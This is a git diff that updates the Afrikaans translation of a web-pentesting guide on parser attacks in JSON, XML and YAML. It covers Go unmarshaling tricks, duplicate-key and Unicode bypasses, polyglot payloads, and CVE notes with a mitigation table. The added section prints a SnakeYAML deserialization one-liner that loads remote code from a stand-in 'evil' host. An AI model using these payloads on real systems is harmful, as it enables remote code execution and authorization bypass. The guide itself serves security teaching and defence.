Translated ['src/pentesting-web/json-xml-yaml-hacking.md'] to af

This commit is contained in:
Translator 2025-08-04 20:32:59 +00:00
parent c143c0467a
commit 4d831f46fe

View File

@ -6,11 +6,11 @@
Die volgende probleme is in die Go JSON opgespoor, alhoewel dit ook in ander tale teenwoordig kan wees. Hierdie probleme is gepubliseer in [**hierdie blogpos**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/).
Go se JSON, XML, en YAML parsers het 'n lang pad van inkonsekwenties en onveilige standaardinstellings wat misbruik kan word om **authentisering te omseil**, **privileges te eskaleer**, of **sensitiewe data te ekfiltreer**.
Go se JSON, XML, en YAML parsers het 'n lang pad van inkonsekwentheid en onveilige standaardinstellings wat misbruik kan word om **authentisering te omseil**, **privileges te verhoog**, of **sensitiewe data te eksfiltreer**.
### (Un)Marshaling Onverwagte Data
Die doel is om strukture te benut wat 'n aanvaller toelaat om sensitiewe velde te lees/schryf (bv. `IsAdmin`, `Password`).
Die doel is om strukture te benut wat 'n aanvaller toelaat om sensitiewe velde te lees/skryf (bv. `IsAdmin`, `Password`).
- Voorbeeld Struktuur:
```go
@ -48,9 +48,9 @@ type User struct {
IsAdmin bool `json:"-"`
}
```
### Parser Differentials
### Parser Verskille
Die doel is om outorisasie te omseil deur te benut hoe verskillende parsers dieselfde payload verskillend interpreteer soos in:
Die doel is om outorisasie te omseil deur te profiteer van hoe verskillende parsers dieselfde payload verskillend interpreteer soos in:
- CVE-2017-12635: Apache CouchDB omseiling via duplikaat sleutels
- 2022: Zoom 0-click RCE via XML parser inkonsekwentheid
- GitLab 2025 SAML omseiling via XML quirks
@ -73,7 +73,7 @@ Selfs Unicode truuks werk:
```go
json.Unmarshal([]byte(`{"ationſ": "bypass"}`), &req)
```
**3. Kruisdiens-mismatch:**
**3. Kruisdiens wanpassing:**
Stel jou voor:
- Proxy geskryf in Go
- AuthZ diens geskryf in Python
@ -92,15 +92,15 @@ Aanvaller stuur:
### Data Formaat Verwarring (Polyglots)
Die doel is om stelsels te exploiteer wat formate meng (JSON/XML/YAML) of wat oopval op parser foute soos:
- **CVE-2020-16250**: HashiCorp Vault het JSON met 'n XML-parser geparseer nadat STS JSON in plaas van XML teruggestuur het.
- **CVE-2020-16250**: HashiCorp Vault het JSON met 'n XML-parser geparsed nadat STS JSON in plaas van XML teruggestuur het.
Aanvaller beheer:
- Die `Accept: application/json` kop
- Gedeeltelike beheer van die JSON liggaam
- Gedeeltelike beheer van JSON liggaam
Go se XML-parser het dit **tog** geparseer en die ingespoten identiteit vertrou.
Go se XML-parser het dit **tog** geparsed en die ingespoten identiteit vertrou.
- Gemaakte las:
- Gemaakte lasbrief:
```json
{
"action": "Action_1",
@ -108,21 +108,58 @@ Go se XML-parser het dit **tog** geparseer en die ingespoten identiteit vertrou.
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
```
Resultaat:
Result:
- **Go JSON** parser: `Action_2` (nie-sensitief + laaste wen)
- **YAML** parser: `Action_1` (sensitief)
- **XML** parser: parseer `"Action_3"` binne die string
---
### 🔐 Versagtings
## Opmerklike Parser Kwesbaarhede (2023-2025)
| Risiko | Regstelling |
|-----------------------------|---------------------------------------|
| Onbekende velde | `decoder.DisallowUnknownFields()` |
| Dubbele velde (JSON) | ❌ Geen regstelling in stdlib |
| Nie-sensitiewe ooreenkoms | ❌ Geen regstelling in stdlib |
| XML rommeldata | ❌ Geen regstelling in stdlib |
| YAML: onbekende sleutels | `yaml.KnownFields(true)` |
> Die volgende publiek-exploiteerbare probleme toon dat onveilige parsing 'n multi-taal probleem is — nie net 'n Go probleem nie.
### SnakeYAML Deserialisering RCE (CVE-2022-1471)
* Raak: `org.yaml:snakeyaml` < **2.0** (gebruik deur Spring-Boot, Jenkins, ens.).
* Wortel oorsaak: `new Constructor()` deserialiseer **arbitraire Java klasse**, wat gadget kettings toelaat wat eindig in afstand-kode uitvoering.
* Een-liner PoC (sal die sakrekenaar op kwesbare gasheer oopmaak):
```yaml
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
```
* Fix / Mitigering:
1. **Opgradeer na ≥2.0** (gebruik `SafeLoader` as standaard).
2. Op ouer weergawes, gebruik eksplisiet `new Yaml(new SafeConstructor())`.
### libyaml Dubbel-vry (CVE-2024-35325)
* Raak: `libyaml` ≤0.2.5 (C-biblioteek wat deur baie taalbindings gebruik word).
* Probleem: Die aanroep van `yaml_event_delete()` twee keer lei tot 'n dubbel-vry wat aanvallers kan omskep in DoS of, in sommige scenario's, heap-uitbuiting.
* Status: Upstream verwerp as “API misbruik”, maar Linux verspreidings het 'n gepatchte **0.2.6** gestuur wat die pointer defensief null-vry maak.
### RapidJSON Heelgetal (Onder|Oor)-vloei (CVE-2024-38517 / CVE-2024-39684)
* Raak: Tencent **RapidJSON** voor verbintenis `8269bc2` (<1.1.0-patch-22).
* Fout: In `GenericReader::ParseNumber()` onbeheerde wiskunde laat aanvallers toe om enorme numeriese literale te skep wat omhul en die heap korrupteer — uiteindelik wat privilige-eskalasie moontlik maak wanneer die resulterende objekgraf gebruik word vir outoriseringbesluite.
---
### 🔐 Mitigasies (Opgedateer)
| Risiko | Fix / Aanbeveling |
|-------------------------------------|-----------------------------------------------------------|
| Onbekende velde (JSON) | `decoder.DisallowUnknownFields()` |
| Dubbele velde (JSON) | ❌ Geen oplossing in stdlib — valideer met [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) |
| Hooflettergevoelige ooreenkoms (Go) | ❌ Geen oplossing — valideer struktuurtags + pre-kanaal invoer |
| XML rommeldata / XXE | Gebruik 'n geharde parser (`encoding/xml` + `DisallowDTD`) |
| YAML onbekende sleutels | `yaml.KnownFields(true)` |
| **Onveilige YAML deserialisering** | Gebruik SafeConstructor / opgradeer na SnakeYAML ≥2.0 |
| libyaml ≤0.2.5 dubbel-vry | Opgradeer na **0.2.6** of distro-gepatchte weergawe |
| RapidJSON <gepatchte verbintenis | Compileer teen die nuutste RapidJSON (Julie 2024) |
## Verwysings
- Baeldung “Oplossing van CVE-2022-1471 Met SnakeYAML 2.0”
- Ubuntu Veiligheid Tracker CVE-2024-35325 (libyaml)
{{#include ../banners/hacktricks-training.md}}